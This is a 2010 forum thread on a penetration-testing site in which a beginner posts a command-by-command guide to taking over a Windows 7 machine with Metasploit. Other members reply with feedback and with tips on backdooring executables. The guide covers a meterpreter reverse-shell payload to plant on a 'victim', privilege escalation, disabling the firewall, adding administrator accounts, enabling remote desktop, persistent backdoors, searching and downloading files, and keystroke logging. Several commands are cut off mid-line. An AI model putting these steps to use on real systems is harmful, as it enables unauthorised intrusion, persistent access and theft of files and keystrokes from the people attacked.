09-15-2010, 03:25 PM #1

xibit1987
Just burned his ISO
Join Date: Sep 2007
Posts: 11

[HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

Pentest on BT4 R1

GUIDE EXPLANATION:
Text in {} = Titles
In front of text = Info
Text in [] = Your Input

Here are some examples on [] from the guide beneath:

set LHOST [IP ADRESS INT.] = set LHOST 192.168.1.15

rdesktop [IP]:[port] -u "[USERNAME]" = rdesktop 192.168.1.15:1337 -u "John"

search -d "[DRIVE:\\FOLDER\\FOLDER]" -f *.jpg = search -d "C:\\windows\\New folder" -f *.jpg

So when you input anything where there is [], remember to remove the []

{Shell 1} (Creating Exploit)

Code:

```
cd /pentest/exploits/framework3/

svn up
# To update framework3

clear

./msfpayload windows/meterpreter/reverse_tcp LHOST=[YO
```

 # If you get encoder error find another EXE or try to encode it less time

 # Copy payload to target

{Shell 2} (Using Exploit)

Code:

```
cd /pentest/exploits/framework3/

clear
```

```
./msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST [IP ADRESS INT.]

set LPORT [PORT] (if used in msfpayload in Shell 1)

show options

exploit
```

 # Now we wait for connection, so start the payload on victim computer
---

Code:

```
use priv

ps
# Look for PID on explorer.exe

migrate [PID on explorer]

getsystem

sysinfo
# If "Arch = x64" = NO HASHDUMP it won't work
```

 # Now we are in the system

{Prepare for RDP}

Code:

```
shell
# Connect to CMD

reg add "hklm\system\currentControlSet\Control\Termina
# Allows incoming terminal service connections

reg add "hklm\system\currentControlSet\Control\Termina
# Disables blocking incoming Terminal service connecti

Netsh firewall set opmode enable
# Enable Firewall on Victim

Netsh firewall set opmode disable
# Disable Firewall on Victim
```

{USER:} ***(Still in shell)***

Code:

```
net user [USERNAME] [PASSWORD]
# Change password for the user

# Or create you own user

net user [USERNAME] [PASSWORD] /add

net localgroup [GROUP] [USERNAME] /add
# In [GROUP] you could use "administrators" and [USERN

net accounts /maxpwage:[days] | unlimited
# Examples: net accounts /maxpwage:6
# or: net accounts /maxpwage:unlimited
```

 # CTRL + Z then Y to exit shell without it freezing the system

---

{Shell 3} ***(RDP to compromised system)***

 # No need for ":" and [PORT] if local

 # Remember to be in "root@bt:~#"

Code:

```
rdesktop [IP]:[port] -u "[USERNAME]"
```

{Setting up backdoors for future use} ***(when in meterpreter console)***

Code:

```
run metsvc (set backdoor for next time you want in)

(OR THIS)

run persistence -r [YOUR IP ADRESS INT./EXT.] -p [YOUR
# 300 tells it to send request for connection every 30
```

*****UP- AND DOWNSIDES USING THIS*****

METSVC:
VERY BAD: All 3 files is use gets flagged by Norton Internet Security 2011 as trojan, maybe other AV's will do this too!
BAD: If ip change you have to know the IP to connect back to Victim
GOOD: Easy to use
GOOD: It dosn't request YOUR IP and port!

PERSISTENCE:
BAD: It requests YOUR IP and port!
BAD: Can be more "difficult" to use
GOOD: Flexible
GOOD: Auto Connect
ALMOST GOOD: svchost.exe is reported as suspicious, but NOT as malware! It's only when you run NPE (Norton Power Eraser) it is detected as bad, and will be removed. and that's a tool you must download!

{GET BACK INTO SYSTEM} ***(using metsvc in a new terminal)***

Code:

```
cd /pentest/exploits/framework3/

svn up

clear

./msfconsole

use exploit/multi/handler

set PAYLOAD windows/metsvc_bind_tcp

set LPORT 31337 (Must be this port of what i know)

set RHOST [VICTIM IP ADRESS]

show options (see if your setup is correct)

exploit
```

{GET BACK INTO SYSTEM} ***(using persistence in a new terminal)***

Code:

```
cd /pentest/exploits/framework3/

svn up

clear

./msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST [IP ADRESS INT.]

set LPORT [PORT]
# The port set in persistence backdoor

show options

exploit
```

 # Now we wait for connection, it will reconnect to your computer within 300 sec
---

getuid

If = "NT AUTHORITY\SYSTEM" do this else go to "use priv":

ps
 # Find PID on explorer.exe

steal_token **[NUMBER - PID on explorer]**
 # From what i know it grants you the same rights as the user running that process

use priv

get system

{Search} ***(in meterpreter console)***

Code:
```
search -f *.jpg
# Finding all JPG files on the system

search -d "[DRIVE:\\FOLDER\\FOLDER]" -f *.jpg
# Finding all JPG filen i a specific folder

searct -f test.txt
# Find a specific file on the whole system
```

{Uploading and Downloading} ***(How I use it)***

 # Use "ls", "pwd" and "cd" to navigate around - see below under commands

Explanation:
Create a txt file on yout BT4 desktop and write any thing in it, or nothing, and save it with the name "test.txt" then in terminal in meterpreter console (after your connected to victim), navigate to the desktop of the user currently logged in.
Use "pwd" without quotes, to check if the path is correct, if it is type the following:

{Upload}

Code:
```
upload /root/test.txt test.txt

# and if you are uploading a file with space in it's n

upload "/root/test 2.txt" "test 2.txt"
```

 # Or if your not in the path where you want to upload a file, and want it to be uploaded to another folder

upload "/root/test 2.txt" "**DRIVE:\\FOLDER\\FOLDER\\test 2.txt**"
 # Example: upload "/root/test 2.txt" "C:\\test\\test1\\test 2.txt"

{Download}

Explanation:
Now we are going to download the file we just uploaded the "test.txt". Navigate to the folder if your not already in it, by using the "cd", "pwd" and "ls" commands.

Then type:

Code:
```
download test.txt /root/test.txt

# And if you are downloading a file with space in it's

download "test 2.txt" "/root/test 2.txt"

# Or if your not in the path where you want to downloa

download "DRIVE:\\FOLDER\\FOLDER\\test 2.txt" "/root/t
# Example: download "C:\\test\\test1\\test 2.txt" "/ro
```

{Commands} *(meterpreter console)*

help
 # USE THIS!!! thats mostly how i got this knowledge and then googled the commands to get more info on them

screenshot
 # No need to say what it does - remember you must have used "use priv" in meterpreter first

cd [DRIVE:\\FOLDER\\FOLDER]
 # You get it - Change directory

pwd
 # Show what directory your in

ls
 # List Current Directory

upload
 # See above

download
 # See above

search
See above and Meterpreter Search This can be used in diff. consoles!

keyscan_start
 # Key Sniffer - Start

keyscan_dump
 # Key Sniffer - dump keys while running

keyscan_stop
 # Key Sniffer - Stop

Few words from me:

First i will say, USE THIS AT YOUR OWN RISK! Do not blame me for anything. DO NOT misuse this information, only use this in a test setup!

And i will point out for other beginners, i started on using metasploit 2 days ago so do your self a favour and put some heart into it, do your legwork before asking, i just gave you a complete detailed guide from start to finish, on a silver platter.

As always, if you have any questions, google it first and then google it some more, and THEN ask for directions, not the solution!

Please give some feedback

Last edited by xibit1987; 09-16-2010 at 10:00 PM. **Reason:** Code wrapping, and fix typos

09-16-2010, 08:36 AM #2

lupin

Super Moderator

Join Date: Jan 2010
Posts: 2,943

Re: [HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

You might want to make use of code boxes and some simple formatting options to make that a bit easier to follow...

Capitalisation is important. It's the difference between "Helping your brother Jack off a horse" and "Helping your brother jack off a horse".

The Forum Rules, Forum FAQ and the BackTrack Wiki... learn them, love them, live them.

09-16-2010, 12:16 PM #3

xibit1987

Just burned his ISO

Join Date: Sep 2007
Posts: 11

Re: [HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

> Originally Posted by **lupin**
> You might want to make use of code boxes and some simple formatting options to make that a bit easier to follow...

Done now, saw i right away, looked better in note pad xD

09-19-2010, 12:24 PM #4

Archangel-Amael

Super Moderator

Join Date: Jan 2010
Location: Somewhere
Posts: 8,012

Re: [HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

The best part was probably the last few lines

> : i started on using metasploit 2 days ago so do your self a favour and put some heart into it, do your legwork before asking, i just gave you a complete detailed guide from start to finish, on a silver platter.

Probably doesn't get truer than that.

To be successful here you should read all of the following.
ForumRules
ForumFAQ
If you are new to Back|Track
Back|Track Wiki
Failure to do so will probably get your threads deleted or worse.

09-19-2010, 04:34 PM #5

xibit1987

Just burned his ISO

Join Date: Sep 2007
Posts: 11

Re: [HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

> Originally Posted by **Archangel-Amael**
> The best part was probably the last few lines
>
> Probably doesn't get truer than that.

Well most beginners ask becaus they just want the info so that they can misuse it to do harm, without a better understanding of what it is they are doing. where only a few ask becaus they really want to learn some thing from it.

I know this guide can and will be misused by some ppl. and i'm fine with that, i just hope they get caught I don't have respect for ppl who want to break into others system without their permission, i really can't see the point in it :/

I'm learning this so that i know a little more about how I can be attacked, and i use this info so that i maybe can close some holes in my setup at home And it's also quite fun

09-19-2010, 06:51 PM #6

iproute

Senior Member

Join Date: Jan 2010
Location: Midwest, USA
Posts: 192

Re: [HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

I've found that getting into the security end has really forced me to get deeper into the protocols and such that I've already been working with as a networker.

Also, though perhaps indirectly, pentesting and the security 'arts' eventually (not always...) force developers round the world to improve their code. Any everybody likes better software.

I appreciated the section you did on backdooring. You may want to include the backdooring an exe capability. If you're not sure how to with metasploit, check out the metasploit unleashed section on extended msf usage.
Chapter 12 section 2. Great feature, although the MSF unleashed page only goes into the beginning detail of it, probably due to all

of our favorite mantra (try harder!)

Metasploit Unleashed - Mastering the Framework

I've had a lot of fun messing around with backdooring a few of the most used windows exe's.

I can see you've done your reading however. Great tut! esp after the editing you've done

09-20-2010, 04:27 AM #7

RexBudman

Junior Member

Join Date: Aug 2010
Posts: 48

Re: [HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

Yes indeed a great tut, I have yet to try it. Like like all tuts I have been through there are always issues to get around, and that is the fun of it. No attack is completley linear to the others, and in turn forces you to learn outside the given realm.

I am not a security professional, more-so an enthusiast. It is tuts like these that not only educate people like me, but allow me to apply said education and offer the information to others who do not have the time or knowledge.

I have had numerous friends have their Data-Limits completley thrashed by intruders, which casues them to spend more money. I have had mine and other friends banking information sniffed out (By neighbours who had a little run in with the law post hack) and in turn have used what little information I have to ameturley secure their networks and routers.

And to think 2 months ago I was completley ignorant to BackTrack, and now after two months of passive learning, I can say that I have the basic knowledge and ability to secure minor residential networks for friends and family, and I have these forums to thank, and the posters I am indebted to. No one will be stealing my Gigabytes and money anymore!

Thanks for the tuts, the help, the information and overall professional attitude reflected by a majority of users on this site. Thanks again.

09-22-2010, 06:51 PM #8

xibit1987

Just burned his ISO

Join Date: Sep 2007
Posts: 11

Re: [HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

> Originally Posted by **iproute**
>
> I've found that getting into the security end has really forced me to get deeper into the protocols and such that I've already been working with as a networker.
>
> Also, though perhaps indirectly, pentesting and the security 'arts' eventually (not always...) force developers round the world to improve their code. Any everybody likes better software.
>
> I appreciated the section you did on backdooring. You may want to include the backdooring an exe capability. If you're not sure how to with metasploit, check out the metasploit unleashed section on extended msf usage.
> Chapter 12 section 2. Great feature, although the MSF unleashed page only goes into the beginning detail of it, probably due to all of our favorite mantra (try harder!)
>
> Metasploit Unleashed - Mastering the Framework
>
> I've had a lot of fun messing around with backdooring a few of the most used windows exe's.
>
> I can see you've done your reading however. Great tut! esp after the editing you've done

About backdooring an exe: I already have that in the "Create the exploit". The first code box in the guide. i use encode here and i also explain i LITTLE bit about the error you can get I didn't go directly into details, but if thats what you guys want i can do that too By the way, have any of you got the "-k" option to work yet, so that the exe your backdooring still work? If yes, pleas post

an example code

And again, I'm a beginner so please correct me if have understood anything wrong or I explained anything in the wrong way!

I thank you all for the kind words

Last edited by xibit1987; 09-24-2010 at 11:22 AM.

09-24-2010, 07:31 AM #9

farshadbat

Just burned his ISO
Join Date: Sep 2010
Posts: 4

Re: [HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

hi,im sorry for my amature question.im new one to metasploit

i dont get it this section

Code:
```
./msfpayload windows/meterpreter/reverse_tcp LHOST=[YO
```

what EXE i need it ?

09-24-2010, 10:51 AM #10

espreto

Good friend of the forums

Join Date: Mar 2010
Location: Brazil
Posts: 302

Re: [HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

You said that this tutorial is for beginners, you've omitted many details that need a layman to understand.
The format is very tiring to read.

> And i will point out for other beginners, i started on using metasploit 2 days ago so do your self a favour and put some heart into it, do your legwork before asking, i just gave you a complete detailed guide from start to finish, on a silver platter.

For two days, until you learn something fast, now spend about 40 days more and learning more about text formatting too!

> Originally Posted by **farshadbat**
>
> hi,im sorry for my amature question.im new one to metasploit
>
> i dont get it this section
>
> Code:
> ```
> ./msfpayload windows/meterpreter/reverse_tc
> ```
>
> what EXE i need it ?

Code:
```
# msfpayload windows/meterpreter/reverse_tcp LHOST=192
```

For example, I have the executable software Truecrypt_70_backdoor and will "attach" the backdoor the him.

Regards,

(gdb) disass m(y_br)ain

®

Similar Threads

[Video] Attack: Man In The Middle {MITM} (ettercap, metasploit, SBD) By g0tmi1k in forum BackTrack Videos	Replies: 2 Last Post: 08-23-2010, 10:53 AM
[Video] Man In The Middle (MITM) Attack (ettercap, metasploit, sbd) By imported g0tmi1k in forum OLD BT4 Videos	Replies: 6 Last Post: 01-16-2010, 08:47 PM
[Video] Man In The Middle (MITM) Attack (ettercap, metasploit, sbd) By BigMac in forum OLD Pentesting	Replies: 2 Last Post: 07-08-2009, 08:56 AM
how to configure Metasploit Client-Side Attack By black02 in forum OLD Newbie Area	Replies: 2 Last Post: 04-09-2009, 08:03 PM
Some detailed questions about WEP cracking By jemenake in forum OLD Wireless	Replies: 16 Last Post: 05-01-2007, 09:24 PM

Posting Permissions

You may not post new threads	**BB code** is On
You may not post replies	**Smilies** are On
You may not post attachments	**[IMG]** code is On
You may not edit your posts	**[VIDEO]** code is On
	HTML code is Off
	Forum Rules